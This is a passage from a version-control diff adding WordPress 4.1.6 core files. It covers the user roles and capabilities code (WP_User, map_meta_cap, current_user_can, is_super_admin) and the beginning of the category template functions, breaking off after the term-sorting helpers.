+			$data = self::get_data_by( 'login', $name );
+
+		if ( $data )
+			$this->init( $data, $blog_id );
+	}
+
+	/**
+	 * Sets up object properties, including capabilities.
+	 *
+	 * @param object $data User DB row object
+	 * @param int $blog_id Optional. The blog id to initialize for
+	 */
+	public function init( $data, $blog_id = '' ) {
+		$this->data = $data;
+		$this->ID = (int) $data->ID;
+
+		$this->for_blog( $blog_id );
+	}
+
+	/**
+	 * Return only the main user fields
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $field The field to query against: 'id', 'slug', 'email' or 'login'
+	 * @param string|int $value The field value
+	 * @return object Raw user object
+	 */
+	public static function get_data_by( $field, $value ) {
+		global $wpdb;
+
+		if ( 'id' == $field ) {
+			// Make sure the value is numeric to avoid casting objects, for example,
+			// to int 1.
+			if ( ! is_numeric( $value ) )
+				return false;
+			$value = intval( $value );
+			if ( $value < 1 )
+				return false;
+		} else {
+			$value = trim( $value );
+		}
+
+		if ( !$value )
+			return false;
+
+		switch ( $field ) {
+			case 'id':
+				$user_id = $value;
+				$db_field = 'ID';
+				break;
+			case 'slug':
+				$user_id = wp_cache_get($value, 'userslugs');
+				$db_field = 'user_nicename';
+				break;
+			case 'email':
+				$user_id = wp_cache_get($value, 'useremail');
+				$db_field = 'user_email';
+				break;
+			case 'login':
+				$value = sanitize_user( $value );
+				$user_id = wp_cache_get($value, 'userlogins');
+				$db_field = 'user_login';
+				break;
+			default:
+				return false;
+		}
+
+		if ( false !== $user_id ) {
+			if ( $user = wp_cache_get( $user_id, 'users' ) )
+				return $user;
+		}
+
+		if ( !$user = $wpdb->get_row( $wpdb->prepare(
+			"SELECT * FROM $wpdb->users WHERE $db_field = %s", $value
+		) ) )
+			return false;
+
+		update_user_caches( $user );
+
+		return $user;
+	}
+
+	/**
+	 * Magic method for checking the existence of a certain custom field
+	 *
+	 * @since 3.3.0
+	 * @param string $key
+	 * @return bool
+	 */
+	public function __isset( $key ) {
+		if ( 'id' == $key ) {
+			_deprecated_argument( 'WP_User->id', '2.1', __( 'Use <code>WP_User->ID</code> instead.' ) );
+			$key = 'ID';
+		}
+
+		if ( isset( $this->data->$key ) )
+			return true;
+
+		if ( isset( self::$back_compat_keys[ $key ] ) )
+			$key = self::$back_compat_keys[ $key ];
+
+		return metadata_exists( 'user', $this->ID, $key );
+	}
+
+	/**
+	 * Magic method for accessing custom fields
+	 *
+	 * @since 3.3.0
+	 * @param string $key
+	 * @return mixed
+	 */
+	public function __get( $key ) {
+		if ( 'id' == $key ) {
+			_deprecated_argument( 'WP_User->id', '2.1', __( 'Use <code>WP_User->ID</code> instead.' ) );
+			return $this->ID;
+		}
+
+		if ( isset( $this->data->$key ) ) {
+			$value = $this->data->$key;
+		} else {
+			if ( isset( self::$back_compat_keys[ $key ] ) )
+				$key = self::$back_compat_keys[ $key ];
+			$value = get_user_meta( $this->ID, $key, true );
+		}
+
+		if ( $this->filter ) {
+			$value = sanitize_user_field( $key, $value, $this->ID, $this->filter );
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Magic method for setting custom fields
+	 *
+	 * @since 3.3.0
+	 */
+	public function __set( $key, $value ) {
+		if ( 'id' == $key ) {
+			_deprecated_argument( 'WP_User->id', '2.1', __( 'Use <code>WP_User->ID</code> instead.' ) );
+			$this->ID = $value;
+			return;
+		}
+
+		$this->data->$key = $value;
+	}
+
+	/**
+	 * Determine whether the user exists in the database.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return bool True if user exists in the database, false if not.
+	 */
+	public function exists() {
+		return ! empty( $this->ID );
+	}
+
+	/**
+	 * Retrieve the value of a property or meta key.
+	 *
+	 * Retrieves from the users and usermeta table.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $key Property
+	 */
+	public function get( $key ) {
+		return $this->__get( $key );
+	}
+
+	/**
+	 * Determine whether a property or meta key is set
+	 *
+	 * Consults the users and usermeta tables.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $key Property
+	 */
+	public function has_prop( $key ) {
+		return $this->__isset( $key );
+	}
+
+	/**
+	 * Return an array representation.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return array Array representation.
+	 */
+	public function to_array() {
+		return get_object_vars( $this->data );
+	}
+
+	/**
+	 * Set up capability object properties.
+	 *
+	 * Will set the value for the 'cap_key' property to current database table
+	 * prefix, followed by 'capabilities'. Will then check to see if the
+	 * property matching the 'cap_key' exists and is an array. If so, it will be
+	 * used.
+	 *
+	 * @access protected
+	 * @since 2.1.0
+	 *
+	 * @param string $cap_key Optional capability key
+	 */
+	function _init_caps( $cap_key = '' ) {
+		global $wpdb;
+
+		if ( empty($cap_key) )
+			$this->cap_key = $wpdb->get_blog_prefix() . 'capabilities';
+		else
+			$this->cap_key = $cap_key;
+
+		$this->caps = get_user_meta( $this->ID, $this->cap_key, true );
+
+		if ( ! is_array( $this->caps ) )
+			$this->caps = array();
+
+		$this->get_role_caps();
+	}
+
+	/**
+	 * Retrieve all of the role capabilities and merge with individual capabilities.
+	 *
+	 * All of the capabilities of the roles the user belongs to are merged with
+	 * the users individual roles. This also means that the user can be denied
+	 * specific roles that their role might have, but the specific user isn't
+	 * granted permission to.
+	 *
+	 * @since 2.0.0
+	 * @uses $wp_roles
+	 * @access public
+	 *
+	 * @return array List of all capabilities for the user.
+	 */
+	public function get_role_caps() {
+		global $wp_roles;
+
+		if ( ! isset( $wp_roles ) )
+			$wp_roles = new WP_Roles();
+
+		//Filter out caps that are not role names and assign to $this->roles
+		if ( is_array( $this->caps ) )
+			$this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) );
+
+		//Build $allcaps from role caps, overlay user's $caps
+		$this->allcaps = array();
+		foreach ( (array) $this->roles as $role ) {
+			$the_role = $wp_roles->get_role( $role );
+			$this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities );
+		}
+		$this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps );
+
+		return $this->allcaps;
+	}
+
+	/**
+	 * Add role to user.
+	 *
+	 * Updates the user's meta data option with capabilities and roles.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 */
+	public function add_role( $role ) {
+		$this->caps[$role] = true;
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+	}
+
+	/**
+	 * Remove role from user.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 */
+	public function remove_role( $role ) {
+		if ( !in_array($role, $this->roles) )
+			return;
+		unset( $this->caps[$role] );
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+	}
+
+	/**
+	 * Set the role of the user.
+	 *
+	 * This will remove the previous roles of the user and assign the user the
+	 * new one. You can set the role to an empty string and it will remove all
+	 * of the roles from the user.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 */
+	public function set_role( $role ) {
+		if ( 1 == count( $this->roles ) && $role == current( $this->roles ) )
+			return;
+
+		foreach ( (array) $this->roles as $oldrole )
+			unset( $this->caps[$oldrole] );
+
+		$old_roles = $this->roles;
+		if ( !empty( $role ) ) {
+			$this->caps[$role] = true;
+			$this->roles = array( $role => true );
+		} else {
+			$this->roles = false;
+		}
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+
+		/**
+		 * Fires after the user's role has changed.
+		 *
+		 * @since 2.9.0
+		 * @since 3.6.0 Added $old_roles to include an array of the user's previous roles.
+		 *
+		 * @param int    $user_id   The user ID.
+		 * @param string $role      The new role.
+		 * @param array  $old_roles An array of the user's previous roles.
+		 */
+		do_action( 'set_user_role', $this->ID, $role, $old_roles );
+	}
+
+	/**
+	 * Choose the maximum level the user has.
+	 *
+	 * Will compare the level from the $item parameter against the $max
+	 * parameter. If the item is incorrect, then just the $max parameter value
+	 * will be returned.
+	 *
+	 * Used to get the max level based on the capabilities the user has. This
+	 * is also based on roles, so if the user is assigned the Administrator role
+	 * then the capability 'level_10' will exist and the user will get that
+	 * value.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param int $max Max level of user.
+	 * @param string $item Level capability name.
+	 * @return int Max Level.
+	 */
+	public function level_reduction( $max, $item ) {
+		if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) {
+			$level = intval( $matches[1] );
+			return max( $max, $level );
+		} else {
+			return $max;
+		}
+	}
+
+	/**
+	 * Update the maximum user level for the user.
+	 *
+	 * Updates the 'user_level' user metadata (includes prefix that is the
+	 * database table prefix) with the maximum user level. Gets the value from
+	 * the all of the capabilities that the user has.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 */
+	public function update_user_level_from_caps() {
+		global $wpdb;
+		$this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 );
+		update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level );
+	}
+
+	/**
+	 * Add capability and grant or deny access to capability.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 * @param bool $grant Whether to grant capability to user.
+	 */
+	public function add_cap( $cap, $grant = true ) {
+		$this->caps[$cap] = $grant;
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+	}
+
+	/**
+	 * Remove capability from user.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 */
+	public function remove_cap( $cap ) {
+		if ( ! isset( $this->caps[$cap] ) )
+			return;
+		unset( $this->caps[$cap] );
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+	}
+
+	/**
+	 * Remove all of the capabilities of the user.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	public function remove_all_caps() {
+		global $wpdb;
+		$this->caps = array();
+		delete_user_meta( $this->ID, $this->cap_key );
+		delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' );
+		$this->get_role_caps();
+	}
+
+	/**
+	 * Whether user has capability or role name.
+	 *
+	 * This is useful for looking up whether the user has a specific role
+	 * assigned to the user. The second optional parameter can also be used to
+	 * check for capabilities against a specific object, such as a post or user.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string|int $cap Capability or role name to search.
+	 * @return bool True, if user has capability; false, if user does not have capability.
+	 */
+	public function has_cap( $cap ) {
+		if ( is_numeric( $cap ) ) {
+			_deprecated_argument( __FUNCTION__, '2.0', __('Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead.') );
+			$cap = $this->translate_level_to_cap( $cap );
+		}
+
+		$args = array_slice( func_get_args(), 1 );
+		$args = array_merge( array( $cap, $this->ID ), $args );
+		$caps = call_user_func_array( 'map_meta_cap', $args );
+
+		// Multisite super admin has all caps by definition, Unless specifically denied.
+		if ( is_multisite() && is_super_admin( $this->ID ) ) {
+			if ( in_array('do_not_allow', $caps) )
+				return false;
+			return true;
+		}
+
+		/**
+		 * Dynamically filter a user's capabilities.
+		 *
+		 * @since 2.0.0
+		 * @since 3.7.0 Added the user object.
+		 *
+		 * @param array   $allcaps An array of all the role's capabilities.
+		 * @param array   $caps    Actual capabilities for meta capability.
+		 * @param array   $args    Optional parameters passed to has_cap(), typically object ID.
+		 * @param WP_User $user    The user object.
+		 */
+		// Must have ALL requested caps
+		$capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this );
+		$capabilities['exist'] = true; // Everyone is allowed to exist
+		foreach ( (array) $caps as $cap ) {
+			if ( empty( $capabilities[ $cap ] ) )
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Convert numeric level to level capability name.
+	 *
+	 * Prepends 'level_' to level number.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param int $level Level number, 1 to 10.
+	 * @return string
+	 */
+	public function translate_level_to_cap( $level ) {
+		return 'level_' . $level;
+	}
+
+	/**
+	 * Set the blog to operate on. Defaults to the current blog.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $blog_id Optional Blog ID, defaults to current blog.
+	 */
+	public function for_blog( $blog_id = '' ) {
+		global $wpdb;
+		if ( ! empty( $blog_id ) )
+			$cap_key = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities';
+		else
+			$cap_key = '';
+		$this->_init_caps( $cap_key );
+	}
+}
+
+/**
+ * Map meta capabilities to primitive capabilities.
+ *
+ * This does not actually compare whether the user ID has the actual capability,
+ * just what the capability or capabilities are. Meta capability list value can
+ * be 'delete_user', 'edit_user', 'remove_user', 'promote_user', 'delete_post',
+ * 'delete_page', 'edit_post', 'edit_page', 'read_post', or 'read_page'.
+ *
+ * @since 2.0.0
+ *
+ * @param string $cap Capability name.
+ * @param int $user_id User ID.
+ * @return array Actual capabilities for meta capability.
+ */
+function map_meta_cap( $cap, $user_id ) {
+	$args = array_slice( func_get_args(), 2 );
+	$caps = array();
+
+	switch ( $cap ) {
+	case 'remove_user':
+		$caps[] = 'remove_users';
+		break;
+	case 'promote_user':
+		$caps[] = 'promote_users';
+		break;
+	case 'edit_user':
+	case 'edit_users':
+		// Allow user to edit itself
+		if ( 'edit_user' == $cap && isset( $args[0] ) && $user_id == $args[0] )
+			break;
+
+		// If multisite these caps are allowed only for super admins.
+		if ( is_multisite() && !is_super_admin( $user_id ) )
+			$caps[] = 'do_not_allow';
+		else
+			$caps[] = 'edit_users'; // edit_user maps to edit_users.
+		break;
+	case 'delete_post':
+	case 'delete_page':
+		$post = get_post( $args[0] );
+
+		if ( 'revision' == $post->post_type ) {
+			$post = get_post( $post->post_parent );
+		}
+
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( ! $post_type->map_meta_cap ) {
+			$caps[] = $post_type->cap->$cap;
+			// Prior to 3.1 we would re-call map_meta_cap here.
+			if ( 'delete_post' == $cap )
+				$cap = $post_type->cap->$cap;
+			break;
+		}
+
+		// If the post author is set and the user is the author...
+		if ( $post->post_author && $user_id == $post->post_author ) {
+			// If the post is published...
+			if ( 'publish' == $post->post_status ) {
+				$caps[] = $post_type->cap->delete_published_posts;
+			} elseif ( 'trash' == $post->post_status ) {
+				if ( 'publish' == get_post_meta( $post->ID, '_wp_trash_meta_status', true ) ) {
+					$caps[] = $post_type->cap->delete_published_posts;
+				}
+			} else {
+				// If the post is draft...
+				$caps[] = $post_type->cap->delete_posts;
+			}
+		} else {
+			// The user is trying to edit someone else's post.
+			$caps[] = $post_type->cap->delete_others_posts;
+			// The post is published, extra cap required.
+			if ( 'publish' == $post->post_status ) {
+				$caps[] = $post_type->cap->delete_published_posts;
+			} elseif ( 'private' == $post->post_status ) {
+				$caps[] = $post_type->cap->delete_private_posts;
+			}
+		}
+		break;
+		// edit_post breaks down to edit_posts, edit_published_posts, or
+		// edit_others_posts
+	case 'edit_post':
+	case 'edit_page':
+		$post = get_post( $args[0] );
+		if ( empty( $post ) ) {
+			$caps[] = 'do_not_allow';
+			break;
+		}
+
+		if ( 'revision' == $post->post_type ) {
+			$post = get_post( $post->post_parent );
+		}
+
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( ! $post_type->map_meta_cap ) {
+			$caps[] = $post_type->cap->$cap;
+			// Prior to 3.1 we would re-call map_meta_cap here.
+			if ( 'edit_post' == $cap )
+				$cap = $post_type->cap->$cap;
+			break;
+		}
+
+		// If the post author is set and the user is the author...
+		if ( $post->post_author && $user_id == $post->post_author ) {
+			// If the post is published...
+			if ( 'publish' == $post->post_status ) {
+				$caps[] = $post_type->cap->edit_published_posts;
+			} elseif ( 'trash' == $post->post_status ) {
+				if ( 'publish' == get_post_meta( $post->ID, '_wp_trash_meta_status', true ) ) {
+					$caps[] = $post_type->cap->edit_published_posts;
+				}
+			} else {
+				// If the post is draft...
+				$caps[] = $post_type->cap->edit_posts;
+			}
+		} else {
+			// The user is trying to edit someone else's post.
+			$caps[] = $post_type->cap->edit_others_posts;
+			// The post is published, extra cap required.
+			if ( 'publish' == $post->post_status ) {
+				$caps[] = $post_type->cap->edit_published_posts;
+			} elseif ( 'private' == $post->post_status ) {
+				$caps[] = $post_type->cap->edit_private_posts;
+			}
+		}
+		break;
+	case 'read_post':
+	case 'read_page':
+		$post = get_post( $args[0] );
+
+		if ( 'revision' == $post->post_type ) {
+			$post = get_post( $post->post_parent );
+		}
+
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( ! $post_type->map_meta_cap ) {
+			$caps[] = $post_type->cap->$cap;
+			// Prior to 3.1 we would re-call map_meta_cap here.
+			if ( 'read_post' == $cap )
+				$cap = $post_type->cap->$cap;
+			break;
+		}
+
+		$status_obj = get_post_status_object( $post->post_status );
+		if ( $status_obj->public ) {
+			$caps[] = $post_type->cap->read;
+			break;
+		}
+
+		if ( $post->post_author && $user_id == $post->post_author ) {
+			$caps[] = $post_type->cap->read;
+		} elseif ( $status_obj->private ) {
+			$caps[] = $post_type->cap->read_private_posts;
+		} else {
+			$caps = map_meta_cap( 'edit_post', $user_id, $post->ID );
+		}
+		break;
+	case 'publish_post':
+		$post = get_post( $args[0] );
+		$post_type = get_post_type_object( $post->post_type );
+
+		$caps[] = $post_type->cap->publish_posts;
+		break;
+	case 'edit_post_meta':
+	case 'delete_post_meta':
+	case 'add_post_meta':
+		$post = get_post( $args[0] );
+		$caps = map_meta_cap( 'edit_post', $user_id, $post->ID );
+
+		$meta_key = isset( $args[ 1 ] ) ? $args[ 1 ] : false;
+
+		if ( $meta_key && has_filter( "auth_post_meta_{$meta_key}" ) ) {
+			/**
+			 * Filter whether the user is allowed to add post meta to a post.
+			 *
+			 * The dynamic portion of the hook name, `$meta_key`, refers to the
+			 * meta key passed to {@see map_meta_cap()}.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param bool   $allowed  Whether the user can add the post meta. Default false.
+			 * @param string $meta_key The meta key.
+			 * @param int    $post_id  Post ID.
+			 * @param int    $user_id  User ID.
+			 * @param string $cap      Capability name.
+			 * @param array  $caps     User capabilities.
+			 */
+			$allowed = apply_filters( "auth_post_meta_{$meta_key}", false, $meta_key, $post->ID, $user_id, $cap, $caps );
+			if ( ! $allowed )
+				$caps[] = $cap;
+		} elseif ( $meta_key && is_protected_meta( $meta_key, 'post' ) ) {
+			$caps[] = $cap;
+		}
+		break;
+	case 'edit_comment':
+		$comment = get_comment( $args[0] );
+		if ( empty( $comment ) )
+			break;
+		$post = get_post( $comment->comment_post_ID );
+		$caps = map_meta_cap( 'edit_post', $user_id, $post->ID );
+		break;
+	case 'unfiltered_upload':
+		if ( defined('ALLOW_UNFILTERED_UPLOADS') && ALLOW_UNFILTERED_UPLOADS && ( !is_multisite() || is_super_admin( $user_id ) )  )
+			$caps[] = $cap;
+		else
+			$caps[] = 'do_not_allow';
+		break;
+	case 'unfiltered_html' :
+		// Disallow unfiltered_html for all users, even admins and super admins.
+		if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML )
+			$caps[] = 'do_not_allow';
+		elseif ( is_multisite() && ! is_super_admin( $user_id ) )
+			$caps[] = 'do_not_allow';
+		else
+			$caps[] = $cap;
+		break;
+	case 'edit_files':
+	case 'edit_plugins':
+	case 'edit_themes':
+		// Disallow the file editors.
+		if ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT )
+			$caps[] = 'do_not_allow';
+		elseif ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS )
+			$caps[] = 'do_not_allow';
+		elseif ( is_multisite() && ! is_super_admin( $user_id ) )
+			$caps[] = 'do_not_allow';
+		else
+			$caps[] = $cap;
+		break;
+	case 'update_plugins':
+	case 'delete_plugins':
+	case 'install_plugins':
+	case 'upload_plugins':
+	case 'update_themes':
+	case 'delete_themes':
+	case 'install_themes':
+	case 'upload_themes':
+	case 'update_core':
+		// Disallow anything that creates, deletes, or updates core, plugin, or theme files.
+		// Files in uploads are excepted.
+		if ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS ) {
+			$caps[] = 'do_not_allow';
+		} elseif ( is_multisite() && ! is_super_admin( $user_id ) ) {
+			$caps[] = 'do_not_allow';
+		} elseif ( 'upload_themes' === $cap ) {
+			$caps[] = 'install_themes';
+		} elseif ( 'upload_plugins' === $cap ) {
+			$caps[] = 'install_plugins';
+		} else {
+			$caps[] = $cap;
+		}
+		break;
+	case 'activate_plugins':
+		$caps[] = $cap;
+		if ( is_multisite() ) {
+			// update_, install_, and delete_ are handled above with is_super_admin().
+			$menu_perms = get_site_option( 'menu_items', array() );
+			if ( empty( $menu_perms['plugins'] ) )
+				$caps[] = 'manage_network_plugins';
+		}
+		break;
+	case 'delete_user':
+	case 'delete_users':
+		// If multisite only super admins can delete users.
+		if ( is_multisite() && ! is_super_admin( $user_id ) )
+			$caps[] = 'do_not_allow';
+		else
+			$caps[] = 'delete_users'; // delete_user maps to delete_users.
+		break;
+	case 'create_users':
+		if ( !is_multisite() )
+			$caps[] = $cap;
+		elseif ( is_super_admin() || get_site_option( 'add_new_users' ) )
+			$caps[] = $cap;
+		else
+			$caps[] = 'do_not_allow';
+		break;
+	case 'manage_links' :
+		if ( get_option( 'link_manager_enabled' ) )
+			$caps[] = $cap;
+		else
+			$caps[] = 'do_not_allow';
+		break;
+	case 'customize' :
+		$caps[] = 'edit_theme_options';
+		break;
+	default:
+		// Handle meta capabilities for custom post types.
+		$post_type_meta_caps = _post_type_meta_capabilities();
+		if ( isset( $post_type_meta_caps[ $cap ] ) ) {
+			$args = array_merge( array( $post_type_meta_caps[ $cap ], $user_id ), $args );
+			return call_user_func_array( 'map_meta_cap', $args );
+		}
+
+		// If no meta caps match, return the original cap.
+		$caps[] = $cap;
+	}
+
+	/**
+	 * Filter a user's capabilities depending on specific context and/or privilege.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array  $caps    Returns the user's actual capabilities.
+	 * @param string $cap     Capability name.
+	 * @param int    $user_id The user ID.
+	 * @param array  $args    Adds the context to the cap. Typically the object ID.
+	 */
+	return apply_filters( 'map_meta_cap', $caps, $cap, $user_id, $args );
+}
+
+/**
+ * Whether current user has capability or role.
+ *
+ * @since 2.0.0
+ *
+ * @param string $capability Capability or role name.
+ * @return bool
+ */
+function current_user_can( $capability ) {
+	$current_user = wp_get_current_user();
+
+	if ( empty( $current_user ) )
+		return false;
+
+	$args = array_slice( func_get_args(), 1 );
+	$args = array_merge( array( $capability ), $args );
+
+	return call_user_func_array( array( $current_user, 'has_cap' ), $args );
+}
+
+/**
+ * Whether current user has a capability or role for a given blog.
+ *
+ * @since 3.0.0
+ *
+ * @param int $blog_id Blog ID
+ * @param string $capability Capability or role name.
+ * @return bool
+ */
+function current_user_can_for_blog( $blog_id, $capability ) {
+	$switched = is_multisite() ? switch_to_blog( $blog_id ) : false;
+
+	$current_user = wp_get_current_user();
+
+	if ( empty( $current_user ) ) {
+		if ( $switched ) {
+			restore_current_blog();
+		}
+		return false;
+	}
+
+	$args = array_slice( func_get_args(), 2 );
+	$args = array_merge( array( $capability ), $args );
+
+	$can = call_user_func_array( array( $current_user, 'has_cap' ), $args );
+
+	if ( $switched ) {
+		restore_current_blog();
+	}
+
+	return $can;
+}
+
+/**
+ * Whether author of supplied post has capability or role.
+ *
+ * @since 2.9.0
+ *
+ * @param int|object $post Post ID or post object.
+ * @param string $capability Capability or role name.
+ * @return bool
+ */
+function author_can( $post, $capability ) {
+	if ( !$post = get_post($post) )
+		return false;
+
+	$author = get_userdata( $post->post_author );
+
+	if ( ! $author )
+		return false;
+
+	$args = array_slice( func_get_args(), 2 );
+	$args = array_merge( array( $capability ), $args );
+
+	return call_user_func_array( array( $author, 'has_cap' ), $args );
+}
+
+/**
+ * Whether a particular user has capability or role.
+ *
+ * @since 3.1.0
+ *
+ * @param int|object $user User ID or object.
+ * @param string $capability Capability or role name.
+ * @return bool
+ */
+function user_can( $user, $capability ) {
+	if ( ! is_object( $user ) )
+		$user = get_userdata( $user );
+
+	if ( ! $user || ! $user->exists() )
+		return false;
+
+	$args = array_slice( func_get_args(), 2 );
+	$args = array_merge( array( $capability ), $args );
+
+	return call_user_func_array( array( $user, 'has_cap' ), $args );
+}
+
+/**
+ * Retrieve role object.
+ *
+ * @see WP_Roles::get_role() Uses method to retrieve role object.
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ * @return WP_Role|null WP_Role object if found, null if the role does not exist.
+ */
+function get_role( $role ) {
+	global $wp_roles;
+
+	if ( ! isset( $wp_roles ) )
+		$wp_roles = new WP_Roles();
+
+	return $wp_roles->get_role( $role );
+}
+
+/**
+ * Add role, if it does not exist.
+ *
+ * @see WP_Roles::add_role() Uses method to add role.
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ * @param string $display_name Display name for role.
+ * @param array $capabilities List of capabilities, e.g. array( 'edit_posts' => true, 'delete_posts' => false );
+ * @return WP_Role|null WP_Role object if role is added, null if already exists.
+ */
+function add_role( $role, $display_name, $capabilities = array() ) {
+	global $wp_roles;
+
+	if ( ! isset( $wp_roles ) )
+		$wp_roles = new WP_Roles();
+
+	return $wp_roles->add_role( $role, $display_name, $capabilities );
+}
+
+/**
+ * Remove role, if it exists.
+ *
+ * @see WP_Roles::remove_role() Uses method to remove role.
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ */
+function remove_role( $role ) {
+	global $wp_roles;
+
+	if ( ! isset( $wp_roles ) )
+		$wp_roles = new WP_Roles();
+
+	$wp_roles->remove_role( $role );
+}
+
+/**
+ * Retrieve a list of super admins.
+ *
+ * @since 3.0.0
+ *
+ * @uses $super_admins Super admins global variable, if set.
+ *
+ * @return array List of super admin logins
+ */
+function get_super_admins() {
+	global $super_admins;
+
+	if ( isset($super_admins) )
+		return $super_admins;
+	else
+		return get_site_option( 'site_admins', array('admin') );
+}
+
+/**
+ * Determine if user is a site admin.
+ *
+ * @since 3.0.0
+ *
+ * @param int $user_id (Optional) The ID of a user. Defaults to the current user.
+ * @return bool True if the user is a site admin.
+ */
+function is_super_admin( $user_id = false ) {
+	if ( ! $user_id || $user_id == get_current_user_id() )
+		$user = wp_get_current_user();
+	else
+		$user = get_userdata( $user_id );
+
+	if ( ! $user || ! $user->exists() )
+		return false;
+
+	if ( is_multisite() ) {
+		$super_admins = get_super_admins();
+		if ( is_array( $super_admins ) && in_array( $user->user_login, $super_admins ) )
+			return true;
+	} else {
+		if ( $user->has_cap('delete_users') )
+			return true;
+	}
+
+	return false;
+}
Index: /tags/4.1.6/src/wp-includes/category-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/category-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/category-template.php	(revision 33402)
@@ -0,0 +1,1405 @@
+<?php
+/**
+ * Category Template Tags and API.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve category link URL.
+ *
+ * @since 1.0.0
+ * @see get_term_link()
+ *
+ * @param int|object $category Category ID or object.
+ * @return string Link on success, empty string if category does not exist.
+ */
+function get_category_link( $category ) {
+	if ( ! is_object( $category ) )
+		$category = (int) $category;
+
+	$category = get_term_link( $category, 'category' );
+
+	if ( is_wp_error( $category ) )
+		return '';
+
+	return $category;
+}
+
+/**
+ * Retrieve category parents with separator.
+ *
+ * @since 1.2.0
+ *
+ * @param int $id Category ID.
+ * @param bool $link Optional, default is false. Whether to format with link.
+ * @param string $separator Optional, default is '/'. How to separate categories.
+ * @param bool $nicename Optional, default is false. Whether to use nice name for display.
+ * @param array $visited Optional. Already linked to categories to prevent duplicates.
+ * @return string|WP_Error A list of category parents on success, WP_Error on failure.
+ */
+function get_category_parents( $id, $link = false, $separator = '/', $nicename = false, $visited = array() ) {
+	$chain = '';
+	$parent = get_term( $id, 'category' );
+	if ( is_wp_error( $parent ) )
+		return $parent;
+
+	if ( $nicename )
+		$name = $parent->slug;
+	else
+		$name = $parent->name;
+
+	if ( $parent->parent && ( $parent->parent != $parent->term_id ) && !in_array( $parent->parent, $visited ) ) {
+		$visited[] = $parent->parent;
+		$chain .= get_category_parents( $parent->parent, $link, $separator, $nicename, $visited );
+	}
+
+	if ( $link )
+		$chain .= '<a href="' . esc_url( get_category_link( $parent->term_id ) ) . '">'.$name.'</a>' . $separator;
+	else
+		$chain .= $name.$separator;
+	return $chain;
+}
+
+/**
+ * Retrieve post categories.
+ *
+ * @since 0.71
+ *
+ * @param int $id Optional, default to current post ID. The post ID.
+ * @return array
+ */
+function get_the_category( $id = false ) {
+	$categories = get_the_terms( $id, 'category' );
+	if ( ! $categories || is_wp_error( $categories ) )
+		$categories = array();
+
+	$categories = array_values( $categories );
+
+	foreach ( array_keys( $categories ) as $key ) {
+		_make_cat_compat( $categories[$key] );
+	}
+
+	/**
+	 * Filter the array of categories to return for a post.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array $categories An array of categories to return for the post.
+	 */
+	return apply_filters( 'get_the_categories', $categories );
+}
+
+/**
+ * Sort categories by name.
+ *
+ * Used by usort() as a callback, should not be used directly. Can actually be
+ * used to sort any term object.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param object $a
+ * @param object $b
+ * @return int
+ */
+function _usort_terms_by_name( $a, $b ) {
+	return strcmp( $a->name, $b->name );
+}
+
+/**
+ * Sort categories by ID.
+ *
+ * Used by usort() as a callback, should not be used directly. Can actually be
+ * used to sort any term object.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param object $a
+ * @param object $b
+ * @return int
+ */
+function _usort_terms_by_ID( $a, $b ) {
+	if ( $a->term_id > $b->term_id )
+		return 1;
+	elseif ( $a->term_id < $b->term_id )
+		return -1;
+	else
+		return 0;
+}
+
+/**
